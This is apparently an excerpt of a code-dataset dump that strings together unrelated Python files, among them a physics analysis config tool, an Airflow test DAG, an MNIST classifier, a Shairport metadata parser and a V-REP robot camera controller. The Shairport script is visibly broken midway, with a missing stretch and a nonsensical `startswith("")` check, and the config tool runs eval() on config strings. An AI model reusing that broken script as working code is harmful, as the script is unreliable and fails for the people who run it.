'config/'\n debug = 'XBBDEBUG' in os.environ\n if debug:\n print(\"DEBUG: read configuration \\x1b[35m\", configTag, \"\\x1b[0m\")\n\n # paths.ini contains list of config files to use, relative to configDirectory\n if configTag.endswith('.ini'):\n config = BetterConfigParser.BetterConfigParser()\n config.read(configTag)\n config.set('Configuration','__temporary_config', \"{tag}.volatile.ini\".format(tag=configTag))\n else:\n pathconfig = BetterConfigParser.BetterConfigParser()\n pathconfig.read(configDirectory + '/paths.ini')\n configFiles = [x.strip() for x in pathconfig.get('Configuration', 'List').split(' ') if x.strip() != 'volatile.ini']\n\n # read actual config\n config = BetterConfigParser.BetterConfigParser()\n for configFile in configFiles:\n if debug:\n print(\"DEBUG: --> read configFile:\", configFile)\n config.read(configDirectory + configFile)\n config.set('Configuration','__temporary_config', \"{tag}config/volatile.ini\".format(tag=configTag))\n if debug:\n print('DEBUG: \\x1b[35m read', len(config.sections()), 'sections\\x1b[0m')\n if not config.has_option('configuration','__self'):\n config.set('Configuration', '__self', configTag)\n\n return config\n\nclass XbbConfigTools(object):\n\n def __init__(self, config):\n self.config = config\n self.fileLocator = None\n self.samplesInfo = None\n\n def initFS(self, force=False): \n if self.fileLocator is None or force:\n self.fileLocator = FileLocator(config=self.config)\n\n def fs(self):\n if self.fileLocator is None:\n self.initFS()\n return self.fileLocator\n\n def init(self):\n self.loadNamespaces()\n\n def loadNamespaces(self):\n #default\n try:\n defaultNamespace = self.get('VHbbNameSpace','library')\n ROOT.gSystem.Load(defaultNamespace)\n return True\n except Exception as e:\n print(e)\n return False\n\n # list of DATA sample names\n def getData(self):\n return eval(self.config.get('Plot_general', 'Data'))\n\n # list of MC sample names\n def getMC(self):\n return eval(self.config.get('Plot_general', 'samples'))\n\n def getSamplesInfo(self):\n if self.samplesInfo is None:\n self.samplesInfo = ParseInfo(config=self.config)\n return self.samplesInfo\n\n # processed sample identifiers (may not be actually USED)\n def getSampleIdentifiers(self, filterList=None):\n s = self.getSamplesInfo().getSampleIdentifiers()\n if filterList is not None:\n s = XbbTools.filterSampleList(s, filterList)\n s.sort()\n return s\n \n def getSamples(self, samples):\n self.getSamplesInfo()\n return self.samplesInfo.get_samples(samples)\n\n # list of all sample names (data + mc)\n def getUsedSamples(self):\n return self.getMC() + self.getData()\n\n # get list of original file names: /store/...\n def getOriginalFileNames(self, sampleIdentifier):\n return filelist(self.config.get('Directories', 'samplefiles'), sampleIdentifier)\n\n # get list of file names (e.g. in SYSout folder)\n def getFileNames(self, sampleIdentifier, folder='SYSout'):\n self.initFS()\n try:\n originalFileNames = self.getOriginalFileNames(sampleIdentifier)\n except:\n originalFileNames = []\n samplePath = self.config.get('Directories', folder)\n fileNames = [\"{path}/{subfolder}/{filename}\".format(path=samplePath, subfolder=sampleIdentifier, filename=self.fileLocator.getFilenameAfterPrep(x)) for x in originalFileNames]\n return fileNames\n\n def parseCommaSeparatedList(self, listAsString):\n return [x.strip() for x in listAsString.split(',') if len(x.strip()) > 0]\n\n def parseSpaceSeparatedList(self, listAsString):\n return [x.strip() for x in listAsString.split(' ') if len(x.strip()) > 0]\n\n def getPlotRegions(self):\n return self.parseCommaSeparatedList(self.get('Plot_general', 'List'))\n \n def getDatacardRegions(self):\n return self.parseCommaSeparatedList(self.get('LimitGeneral', 'List'))\n\n def getTrainingRegions(self):\n return self.parseCommaSeparatedList(self.get('MVALists', 'List_for_submitscript'))\n\n def getPlotRegionCutName(self, plotRegion):\n configSection = 'Plot:' + plotRegion\n if self.has_option(configSection, 'Cut'):\n return self.get(configSection, 'Cut')\n else:\n return plotRegion \n\n def getDatacardCutName(self, datacardRegion):\n configSection = 'dc:' + datacardRegion\n if self.has_option(configSection, 'Cut'):\n return self.get(configSection, 'Cut')\n else:\n return datacardRegion\n\n def getTrainingRegionCutName(self, trainingRegion):\n configSection = trainingRegion\n if self.has_option(configSection, 'Cut'):\n return self.get(configSection, 'Cut')\n elif self.has_option(configSection, 'treeCut'):\n return self.get(configSection, 'treeCut')\n else:\n return trainingRegion\n\n def getTrainingRegionVarSet(self, trainingRegion):\n return self.get(trainingRegion, 'treeVarSet')\n\n def getTrainingRegionVariables(self, trainingRegion):\n treeVarSet = self.getTrainingRegionVarSet(trainingRegion)\n return self.parseSpaceSeparatedList(self.get(treeVarSet, 'Nominal'))\n\n def getDatacardRegionType(self, datacardRegion):\n configSection = 'dc:' + datacardRegion\n if self.has_option(configSection, 'type'):\n datacardType = self.get(configSection, 'type')\n if datacardType.lower() not in ['bdt', 'cr', 'dnn', 'mjj']:\n print(\"ERROR: unknown datacard type:\", datacardType)\n raise Exception(\"DatacardTypeUnknown\")\n return datacardType\n else:\n raise Exception(\"DatacardTypeUndefined\")\n return None\n \n def getDatacardRegionSignals(self, datacardRegion):\n configSection = 'dc:' + datacardRegion\n if self.has_option(configSection, 'signal'):\n return eval(self.get(configSection, 'signal'))\n else:\n raise Exception(\"DatacardTypeUndefined\")\n return None\n \n def getDatacardRegionBackgrounds(self, datacardRegion):\n configSection = 'dc:' + datacardRegion\n if self.has_option(configSection, 'background'):\n return eval(self.get(configSection, 'background'))\n else:\n raise Exception(\"DatacardTypeUndefined\")\n return None\n\n def getPlotVariables(self):\n return self.parseCommaSeparatedList(self.get('Plot_general', 'var'))\n\n def getPlotVariableDefinition(self, plotVariableName):\n configSection = 'plotDef:' + plotVariableName\n if self.has_section(configSection) and self.has_option(configSection, 'relPath'):\n return self.get(configSection, 'relPath')\n else:\n return None\n\n def getCutString(self, cutName):\n return self.get('Cuts', cutName)\n\n def sections(self):\n return self.config.sections()\n\n def has_section(self, section):\n return self.config.has_section(section)\n\n def has_option(self, section, option):\n return self.config.has_section(section) and self.config.has_option(section, option)\n\n def get(self, section, option, default=None):\n if default is not None:\n if self.has_option(section, option):\n return self.config.get(section, option)\n else:\n return default\n else:\n return self.config.get(section, option)\n\n def getPlotVariableSections(self):\n return [x for x in self.config.sections() if x.startswith('plotDef:')]\n\n def getJECuncertainties(self, step=None):\n if step is None:\n configOption = 'JEC'\n else:\n configOption = 'JEC_' + step\n if self.config.has_option('systematics', configOption):\n systematics = eval(self.config.get('systematics', configOption))\n elif self.config.has_option('systematics', 'JEC'):\n systematics = eval(self.config.get('systematics', 'JEC'))\n else:\n # default\n #systematics = ['jer','jerReg','jesAbsoluteStat','jesAbsoluteScale','jesAbsoluteFlavMap','jesAbsoluteMPFBias','jesFragmentation','jesSinglePionECAL','jesSinglePionHCAL','jesFlavorQCD','jesRelativeJEREC1','jesRelativeJEREC2','jesRelativeJERHF','jesRelativePtBB','jesRelativePtEC1','jesRelativePtEC2','jesRelativePtHF','jesRelativeBal','jesRelativeFSR','jesRelativeStatFSR','jesRelativeStatEC','jesRelativeStatHF','jesPileUpDataMC','jesPileUpPtRef','jesPileUpPtBB','jesPileUpPtEC1','jesPileUpPtEC2','jesPileUpPtHF','jesPileUpMuZero','jesPileUpEnvelope','jesTotal']\n raise Exception(\"ConfigError: Specify the JEC list in [systematics]\") \n systematics = list(set(systematics))\n systematics.sort()\n return systematics\n\n def setList(self, setOptions):\n # escaping of semicolon\n semicolonEscapeSequence = '##SEMICOLON##'\n setOptions = setOptions.replace('\\;', semicolonEscapeSequence) \n prevSection = None\n for optValue in setOptions.split(';'):\n optValue = optValue.replace(semicolonEscapeSequence, ';').strip()\n syntaxOk = True\n try:\n if ':=' in optValue:\n opt = optValue.split(':=')[0]\n value = optValue.split(':=')[1]\n elif '=' in optValue:\n splitParts = optValue.split('=')\n if len(splitParts) > 2:\n print(\"\\x1b[31mWARNING: more than one equal sign found in expression, split at the first one! use ':=' to force split at another position!\\x1b[0m\")\n opt = optValue.split('=')[0]\n value = '='.join(optValue.split('=')[1:])\n elif optValue:\n opt = optValue.split(':')[0]\n value = optValue.split(':')[1]\n except Exception as e:\n print(\"ERROR:\",e)\n print(\"ERROR: syntax error in:\", optValue)\n print(\"ERROR: use ; to separate options and use \\; to escape semicolons in case they are inside the value. Use := for assignment.\")\n syntaxOk = False\n raise\n\n if syntaxOk:\n\n configSection = opt.split('.')[0]\n configOption = opt.split('.')[1]\n\n if len(configSection.strip()) < 1:\n if prevSection is None:\n raise Exception(\"ConfigSetError\")\n else:\n configSection = prevSection\n \n prevSection = configSection\n if not self.config.has_section(configSection):\n self.config.add_section(configSection)\n if self.config.has_section(configSection) and self.config.has_option(configSection, configOption):\n print(\"\\x1b[31mCONFIG: SET\", \"{s}.{o}\".format(s=configSection, o=configOption), \"=\", value, \"\\x1b[0m\")\n else:\n print(\"\\x1b[31mCONFIG: ADD\", \"{s}.{o}\".format(s=configSection, o=configOption), \"=\", value, \"\\x1b[0m\")\n self.config.set(configSection, configOption, value)\n\n def formatSampleName(self, sampleIdentifier, maxlen=80, padding=False):\n if len(sampleIdentifier) > maxlen:\n s = sampleIdentifier[:maxlen-7] + '...' + sampleIdentifier[-4:]\n else:\n s = sampleIdentifier\n if padding:\n s = s.ljust(maxlen)\n return s\n\nclass XbbConfigChecker(object):\n def __init__(self, config):\n self.config = config\n self.errors = []\n\n def addError(self, category, message):\n self.errors.append([category, message])\n\n def printErrors(self):\n for e in self.errors:\n print((\"\\x1b[31m[%s]\"%e[0]).ljust(16), e[1], \"\\x1b[0m\")\n print(\"-\"*80)\n if len(self.errors) > 0:\n print(\"\\x1b[31m%d errors in total.\\x1b[0m\"%len(self.errors))\n else:\n print(\"%d errors in total.\"%len(self.errors))\n\n def getStatus(self):\n status = 0\n if len(self.errors) > 0:\n status = 1\n return status\n\n def checkPlotRegions(self):\n plotRegions = self.config.getPlotRegions()\n for plotRegion in plotRegions:\n try:\n cutName = self.config.getPlotRegionCutName(plotRegion)\n cutString = self.config.getCutString(cutName)\n\n print(\"plot region:\", plotRegion)\n print(\" ->\", cutName)\n print(\" ->\", cutString)\n\n if cutString.count('(') != cutString.count(')'):\n raise Exception(\"CutStringUnbalancedRoundBrackets\")\n if cutString.count('[') != cutString.count(']'):\n raise Exception(\"CutStringUnbalancedSquareBrackets\")\n\n except Exception as e:\n self.addError('Plot region', plotRegion + ' ' + repr(e))\n\n def checkPlotVariables(self):\n plotVariables = self.config.getPlotVariables()\n for plotVariable in plotVariables:\n plotVariableDefinition = self.config.getPlotVariableDefinition(plotVariable)\n if plotVariableDefinition is None:\n self.addError('Plot variables', 'Variable not found: %s'%plotVariable)\n\n def checkDatacardRegions(self):\n datacardRegions = self.config.getDatacardRegions()\n samples = ParseInfo(config=self.config)\n availableSampleNames = [x.name for x in samples]\n for datacardRegion in datacardRegions:\n try:\n cutName = self.config.getDatacardCutName(datacardRegion)\n cutString = self.config.getCutString(cutName)\n print(\"datacard region:\", datacardRegion)\n print(\" ->\", cutName)\n print(\" ->\", cutString)\n\n regionType = self.config.getDatacardRegionType(datacardRegion)\n print(\" -> TYPE:\", regionType)\n\n signals = self.config.getDatacardRegionSignals(datacardRegion)\n backgrounds = self.config.getDatacardRegionBackgrounds(datacardRegion)\n print(\" -> SIG:\\x1b[34m\", signals, \"\\x1b[0m\")\n print(\" -> BKG:\\x1b[35m\", backgrounds, \"\\x1b[0m\")\n\n for x in list(signals) + list(backgrounds):\n if x not in availableSampleNames:\n print(\"ERROR: not found: sample for datacard:\", x)\n raise Exception(\"SampleNotFound\")\n\n except Exception as e:\n self.addError('datacard region', datacardRegion + ' ' + repr(e))\n\n def checkTrainingRegions(self):\n trainingRegions = self.config.getTrainingRegions()\n for trainingRegion in trainingRegions:\n print(\"training region:\", trainingRegion)\n try:\n cutName = self.config.getTrainingRegionCutName(trainingRegion)\n cutString = self.config.getCutString(cutName)\n print(\" ->\", cutName)\n print(\" ->\", cutString)\n treeVarSet = self.config.getTrainingRegionVarSet(trainingRegion)\n print(\" -> VARSET:\\x1b[35m\", treeVarSet, \"\\x1b[0m\")\n variables = self.config.getTrainingRegionVariables(trainingRegion)\n variablesList = \" \".join([((\"\\x1b[34m\"+x+\"\\x1b[0m\") if (i % 2) == 0 else (\"\\x1b[32m\"+x+\"\\x1b[0m\")) for i,x in enumerate(variables)])\n print(\" -> VARS:\", variablesList)\n\n except Exception as e:\n self.addError('Training region', trainingRegion + ' ' + repr(e))\n\n def checkSamples(self):\n samples = ParseInfo(config=self.config)\n availableSampleNames = [x.name for x in samples]\n usedSampleNames = self.config.getUsedSamples()\n for sampleName in usedSampleNames:\n print(sampleName)\n if sampleName not in availableSampleNames:\n print(\"ERROR: not found sample:\", sampleName)\n raise Exception(\"SampleNotFound\")\n\n def checkConfigFiles(self):\n configFiles = [x.strip() for x in self.config.get('Configuration', 'List').split(' ') if x.strip() != 'volatile.ini' and len(x.strip()) > 0]\n for configFile in configFiles:\n filePath = self.config.get('Configuration','__self') + 'config/' + configFile\n print(\" -> config file:\", filePath)\n if not os.path.isfile(filePath):\n raise Exception(\"FileNotFound:\"+filePath)\n\n # runs all methods starting with 'check'\n def checkAll(self):\n for f in ifilter(inspect.ismethod, [getattr(self, name) for name in dir(self) if name.startswith('check') and name != 'checkAll']):\n f()\n\n","sub_path":"python/myutils/XbbConfig.py","file_name":"XbbConfig.py","file_ext":"py","file_size_in_byte":20023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"599815214","text":"from airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\n\nfrom datetime import timedelta, datetime\n\n\ndef kw_parameter_check(**kwargs):\n kw = kwargs\n return kw\n\n\ndef ar_parameter_check(*data):\n ar = data\n return ar\n\n\ndefault_args = {\n \"owner\": \"airflow\",\n}\n\nwith DAG(\n dag_id=\"python_operator_tests\",\n owner=\"airflow\",\n start_date=datetime(2021, 10, 24),\n schedule_interval=timedelta(minutes=10),\n catchup=False,\n default_args=default_args,\n tags=[\"Python_Operator_Test\"],\n) as dag:\n # this says it cant deserialize json\n # error code:\n # TypeError: Object of type AirflowConfigParser is not JSON serializable\n t1 = PythonOperator(\n task_id=\"parameter_test\",\n python_callable=kw_parameter_check,\n op_kwargs={\"kwarg1\": \"kwarg_one\", \"kwarg2\": \"kwarg_two\"},\n )\n\n # this works\n t2 = PythonOperator(\n task_id=\"args_test\",\n python_callable=ar_parameter_check,\n op_args=[\"Hello\", \"QA\", \"Team\", \"!\"],\n )\n\n\nt2 >> t1\n","sub_path":"python_op_param_test.py","file_name":"python_op_param_test.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"339625307","text":"import os\n\ndef read_dict(dict_path):\n dict = {}\n with open(dict_path, 'r') as f:\n lines = f.readlines()\n for line in lines:\n item = line.strip().split(' ')\n if len(item) == 2:\n dict[item[0]] = item[1]\n return dict\n\ndef getFileKeys(file_path):\n with open(file_path) as f:\n text = f.readline()\n words = text.strip().split(' ')\n keys = set(words)\n return keys\n\n\nif __name__ == \"__main__\":\n proj_dir = os.path.abspath(os.curdir)\n dict_path = os.path.join(proj_dir, 'dict.txt')\n dict = read_dict(dict_path)\n reverse_dict = {}\n for item in dict:\n reverse_dict[item] = ''\n dict_keys_set = reverse_dict.keys()\n\n raw_data = os.path.join(proj_dir, 'raw_data')\n files = os.listdir(raw_data)\n for file in files:\n file_path = os.path.join(proj_dir, 'raw_data', file)\n keys = getFileKeys(file_path)\n for key in keys:\n if key in dict_keys_set:\n reverse_dict[key] = reverse_dict[key] + ' ' + file\n\n reverseindex_file = 'reverseindex.txt'\n reverseindex_file_path = os.path.join(proj_dir, reverseindex_file)\n with open(reverseindex_file_path, 'w') as f:\n for item in reverse_dict:\n line = item + ' * ' + reverse_dict[item] + '\\n'\n f.write(line)\n\n","sub_path":"Web-DM/reverseindex.py","file_name":"reverseindex.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"610141500","text":"#!/usr/bin/python\nimport re, sys\nimport base64\nimport json\nimport uuid\nimport hashlib\n\nmeta_data = {}\nmeta_data['track'] = ''\nmeta_data['album'] = ''\nmeta_data['artist'] = ''\nmeta_data['filetype'] = ''\nmeta_data['md5'] = ''\n\nold_meta_data = {}\nold_meta_data['track'] = ''\nold_meta_data['album'] = ''\nold_meta_data['artist'] = ''\nold_meta_data['filetype'] = ''\nold_meta_data['md5'] = ''\n\ndef start_item(line):\n regex = r\"(([A-Fa-f0-9]{2}){4})(([A-Fa-f0-9]{2}){4})(\\d*)\"\n matches = re.findall(regex, line)\n typ = matches[0][0].decode('hex')\n code = matches[0][2].decode('hex')\n length = int(matches[0][4])\n return (typ, code, length)\n\n#------------------------------------------------------------------------------#\n# identify line content #\n#------------------------------------------------------------------------------#\ndef start_data(line):\n try:\n assert line == '\\n'\n except AssertionError:\n if line.startswith(\"\"):\n continue\n typ, code, length = start_item(line)\n\n data = \"\"\n if (length > 0):\n r = start_data(sys.stdin.readline())\n if (r == -1):\n continue\n data = read_data(sys.stdin.readline(), length)\n\n # Everything read\n if (typ == \"core\"):\n if (code == \"asal\"):\n meta_data['album'] = data\n elif (code == \"asar\"):\n meta_data['artist'] = data\n elif (code == \"minm\"):\n meta_data['track'] = data\n if (typ == \"ssnc\" and code == \"pfls\"):\n metadata = {}\n if (typ == \"ssnc\" and code == \"pend\"):\n metadata = {}\n if (typ == \"ssnc\" and code == \"PICT\"):\n if (len(data) != 0):\n file_type = guessImageMime(data)\n filename = '/tmp/shairport-image.' + file_type\n file = open(filename, 'w')\n file.write(data)\n file.close()\n meta_data['filetype'] = file_type\n meta_data['md5'] = hashlib.md5(data).hexdigest()\n update_json()\n sys.stdout.flush()\n if (typ == \"ssnc\" and code == \"mden\"):\n update_json()\n","sub_path":"plugins/shairport/shairport-metadata.py","file_name":"shairport-metadata.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"262399328","text":"from sklearn.datasets import fetch_mldata\nfrom sklearn.datasets.base import get_data_home\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nmnist = fetch_mldata('MNIST Original', data_home='./')\n# dataset download by sklearn have a similar dictionary structure\n\nX, y = mnist['data'], mnist['target']\nprint(X.shape)\nprint(y.shape)\n\nsome_digit = X[36000]\nsome_digit_image = some_digit.reshape(28, 28)\n\nplt.imshow(some_digit_image, cmap=matplotlib.cm.binary,\n interpolation='nearest')\nplt.axis('off')\nplt.show()\nprint(y[36000]) # 0\n\nX_train, X_test, y_train, y_test = X[:60000], X[60000:], y[:60000], y[60000:]\n\nimport numpy as np\n\nshuffle_index = np.random.permutation(60000)\nX_train, y_train = X_train[shuffle_index], y_train[shuffle_index]\n\n## training a binary classifier\ny_train_5 = (y_train == 5)\ny_test_5 = (y_test == 5)\n\n\nfrom sklearn.linear_model import SGDClassifier\n\nsgdc_clf = SGDClassifier(random_state=42)\nsgdc_clf.fit(X_train, y_train_5)\n\nprint(sgdc_clf.predict([some_digit]))\n\n## evaluating a classifier is often significantly trickier than evaluating a regressor\n### using cross_validation, implement cross-validation myself\n'''\nfrom common import zp_function\n\nzp_function.cross_validation(X_train, y_train_5, sgdc_clf)\n'''\n\n## compute confusion matrix\nfrom sklearn.model_selection import cross_val_predict\nfrom sklearn.metrics import confusion_matrix\n\ny_train_pred = cross_val_predict(sgdc_clf, X_train, y_train_5, cv=3)\nzp_confusion_matrix = confusion_matrix(y_train_5, y_train_pred)\nprint(zp_confusion_matrix)","sub_path":"ML/Sklearn_learning_project/sklearn_mnist.py","file_name":"sklearn_mnist.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"115893339","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 16 15:08:43 2020\n\n@author: Shadow\n\"\"\"\n\nimport json\n\n\n\nwith open(\"C:/Users/Shadow/Desktop/thron/season1.json\") as json_data:\n data_dict = json.load(json_data)\n print(data_dict)\n\n\n\n","sub_path":"simplon/Projet/sanstitre1.py","file_name":"sanstitre1.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"515997057","text":"import uuid\n\n\ndef make_issue(word: str,\n start: int,\n end: int,\n issue_type: str,\n score,\n description='',\n suggestions=[]):\n '''\n reference:\n https://qordoba.atlassian.net/wiki/spaces/HOME/pages/840368141/Content-AI\n '''\n _uuid = str(uuid.uuid4())\n if not description:\n description = f'\"{word}\" is correlated with {issue_type} language.'\n issue = {\n \"issueId\": _uuid,\n \"issueType\": issue_type,\n \"from\": start,\n \"until\": end,\n \"score\": score,\n \"suggestions\": suggestions,\n \"description\": description\n }\n\n return issue\n","sub_path":"qai/issues/issues.py","file_name":"issues.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"375359718","text":"#!/usr/bin/env python\n#\n# tests controllers/summary/tui.py\n#\n# Copyright 2016 Canonical, Ltd.\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n\n\nimport unittest\n\nfrom unittest.mock import patch, MagicMock, sentinel\n\nfrom conjureup.controllers.summary.tui import SummaryController\n\n\nclass SummaryTUIRenderTestCase(unittest.TestCase):\n def setUp(self):\n\n self.utils_patcher = patch(\n 'conjureup.controllers.summary.tui.utils')\n self.mock_utils = self.utils_patcher.start()\n\n self.app_patcher = patch(\n 'conjureup.controllers.summary.tui.app')\n mock_app = self.app_patcher.start()\n mock_app.ui = MagicMock(name=\"app.ui\")\n self.controller = SummaryController()\n self.controller.save_path = sentinel.savepath\n\n def tearDown(self):\n self.utils_patcher.stop()\n self.app_patcher.stop()\n\n def test_render_empty(self):\n \"call render with empty results\"\n with patch(\"conjureup.controllers.summary.tui.common\") as m_c:\n self.controller.render({})\n m_c.write_results.assert_called_once_with({}, sentinel.savepath)\n","sub_path":"test/test_controllers_summary_tui.py","file_name":"test_controllers_summary_tui.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"603375004","text":"import urllib.request\n\nrequest = urllib.request.Request('https://python.org')\n#urlopen方法的参数不再是一个url,而是一个request类型的对象\nresponse = urllib.request.urlopen(request)\nprint(response.read())\n\n'''\nrequest 的构造方法如下:\nclass urllib.request.Request(url, data=None, headers={}, origin_req_host=None, unverifiable=False, method=None)\nurl是必传参数,其他都是可选参数\ndata参数如果要传必须传bytes(字节流)类型的,如果是一个字典,可以先用urllib.parse模块的urlencode()编码。\nheaders 参数是一个字典,这个就是request Headers 了。\norigin_req_host参数指的是请求方的host名称或者ip地址。\nunverifiable参数指的是这个请求是否是无法验证的,默认是false,意思就是,用户没有足够权限来选择接收这个请求的结果。\nmethod参数是一个字符串,它用来指示请求使用的方法。\n'''\n","sub_path":"urllib/demo4.py","file_name":"demo4.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"269398275","text":"import re\nfrom pymongo import MongoClient\nconn = MongoClient('localhost', 27017)\ndb = conn.mydb\ncollection = db.ziru_data900_2017_8_32\nprice_org = collection.find({}, {\"price\": 1})\narea = collection.find({}, {\"area\": 1})\n\ndef data_clear_rm_id(list): #\n list1 = []\n for key in list:\n del key[\"_id\"]\n list1.append(key)\n return list1\n\ndef data_clear_rm_onlynum(list):\n list2 = []\n for i in range(0, len(list)):\n for value in list[i]:\n mid = re.findall(r'\\d+', str(list[i][value]))\n list2.append(float(mid[0]))\n return list2\n\nprice1 = data_clear_rm_id(price_org)\nprint(price1)\n'''\nprint(str(price[0]))\nmid = re.findall(r'\\d+', str(price[0]))\nprint(float(str(mid[0])))\n'''\nprice_onlynum = data_clear_rm_onlynum(price1)\nprint(len(price1))\nprint(price_onlynum)\n\narea1 = data_clear_rm_id(area)\narea_onlynum = data_clear_rm_onlynum(area1)\nprint(len(area1))\n#print(area_onlynum)\nprice_area = []\n\n#price_area1 = [[price_onlynum[1]][area_onlynum[1]]]\nif len(price1) == len(area1):\n for i in range(0, len(price1)):\n #print(i)\n price_area.append([price_onlynum[i], area_onlynum[i]])\n\n\nprint(price_area)","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"33766282","text":"\"\"\"\n Vrep y OpenCV en Python\n \n \n Codigo escrito por Glare\n www.robologs.net\n \n\"\"\"\nimport vrep\nimport sys\nimport cv2\nimport numpy as np\nimport time\n \nvrep.simxFinish(-1) #Terminar todas las conexiones\nclientID=vrep.simxStart('127.0.0.1',19999,True,True,5000,5) #Iniciar una nueva conexion en el puerto 19999 (direccion por defecto)\n \nif clientID!=-1:\n print ('Conexion establecida')\n \nelse:\n sys.exit(\"Error: no se puede conectar\") #Terminar este script\n \n#Guardar la referencia de los motores\n_, left_motor_handle=vrep.simxGetObjectHandle(clientID, 'Pioneer_p3dx_leftMotor', vrep.simx_opmode_oneshot_wait)\n_, right_motor_handle=vrep.simxGetObjectHandle(clientID, 'Pioneer_p3dx_rightMotor', vrep.simx_opmode_oneshot_wait)\n \n#Guardar la referencia de la camara\n_, camhandle = vrep.simxGetObjectHandle(clientID, 'Vision_sensor', vrep.simx_opmode_oneshot_wait)\n \nvelocidad = 0.35 #Variable para la velocidad de los motores\n \n#Iniciar la camara y esperar un segundo para llenar el buffer\n_, resolution, image = vrep.simxGetVisionSensorImage(clientID, camhandle, 0, vrep.simx_opmode_streaming)\ntime.sleep(1)\n \n \nwhile(1):\n #Guardar frame de la camara, rotarlo y convertirlo a BGR\n _, resolution, image=vrep.simxGetVisionSensorImage(clientID, camhandle, 0, vrep.simx_opmode_buffer)\n img = np.array(image, dtype = np.uint8)\n img.resize([resolution[0], resolution[1], 3])\n img = np.rot90(img,2)\n img = np.fliplr(img)\n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n \n \n #Convertir img a hsv y detectar colores\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n verde_bajos = np.array([49,50,50], dtype=np.uint8)\n verde_altos = np.array([80, 255, 255], dtype=np.uint8)\n mask = cv2.inRange(hsv, verde_bajos, verde_altos) #Crear mascara\n \n #Limpiar mascara y buscar centro del objeto verde\n moments = cv2.moments(mask)\n area = moments['m00']\n if(area > 200):\n x = int(moments['m10']/moments['m00'])\n y = int(moments['m01']/moments['m00'])\n cv2.rectangle(img, (x, y), (x+2, y+2),(0,0,255), 2)\n #Descomentar para printear la posicion del centro\n #print(x,y)\n \n #Si el centro del objeto esta en la parte central de la pantalla (aprox.), detener motores\n if abs(x-256/2) < 15:\n vrep.simxSetJointTargetVelocity(clientID, left_motor_handle,0,vrep.simx_opmode_streaming)\n vrep.simxSetJointTargetVelocity(clientID, right_motor_handle,0,vrep.simx_opmode_streaming)\n \n #Si no, girar los motores hacia la derecha o la izquierda\n elif x > 256/2:\n vrep.simxSetJointTargetVelocity(clientID, left_motor_handle,velocidad,vrep.simx_opmode_streaming)\n vrep.simxSetJointTargetVelocity(clientID, right_motor_handle,-velocidad,vrep.simx_opmode_streaming)\n elif x < 256/2:\n vrep.simxSetJointTargetVelocity(clientID, left_motor_handle,-velocidad,vrep.simx_opmode_streaming)\n vrep.simxSetJointTargetVelocity(clientID, right_motor_handle,velocidad,vrep.simx_opmode_streaming)\n \n \n #Mostrar frame y salir con \"ESC\"\n cv2.imshow('Image', img)\n cv2.imshow('Mask', mask)\n tecla = cv2.waitKey(5) & 0xFF\n if tecla == 27:\n break\n","sub_path":"Practica2/codigos/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"404682325","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndc = pd.read_excel(\"../data/data.xlsx\", sheetname=\"primary_surplus\",\n index_col=0, parse_cols=[0, 1], skiprows=[0, 1]).dropna()\ndc.columns = ['Primary Surplus']\ndc['Target'] = 139000\ndc = dc/1000\n\n# charts\ndef gen_chart(df, title, y_title, date_ini):\n \"\"\"\"\"\"\n plt.style.use(\"ggplot\")\n df_final = df[df.index >= date_ini]\n\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n df_final.iloc[:, 1].plot(ax=ax, color='red', linewidth=2, style='--', legend=True)\n df_final.iloc[:, 0].plot(ax=ax, color='blue', linewidth=2, legend=True)\n\n\n # labels labels\n for label in ax.xaxis.get_ticklabels():\n label.set_fontsize(18)\n for label in ax.yaxis.get_ticklabels():\n label.set_fontsize(18)\n\n # title\n ax.set_title(title, fontsize=28)\n ax.title.set_position([.5,1.03])\n ax.set_ylabel(y_title, fontsize=18)\n ax.set_xlabel('', fontsize=18)\n\n #margins\n ax.margins(0.0, 0.2)\n ax.set_xlim(ax.get_xlim()[0]-1, ax.get_xlim()[1]+ 1)\n\n\n # label\n leg = ax.legend(loc=\"upper left\", fontsize=20)\n fig.tight_layout()\n return fig\n\n# cpi\ndate_ini = \"2010-01-01\"\nfig_ci = gen_chart(dc.loc[:, [\"Primary Surplus\", \"Target\"]],\n \"Central Govern't Primary Surplus\", \"R$bn (real terms)\", 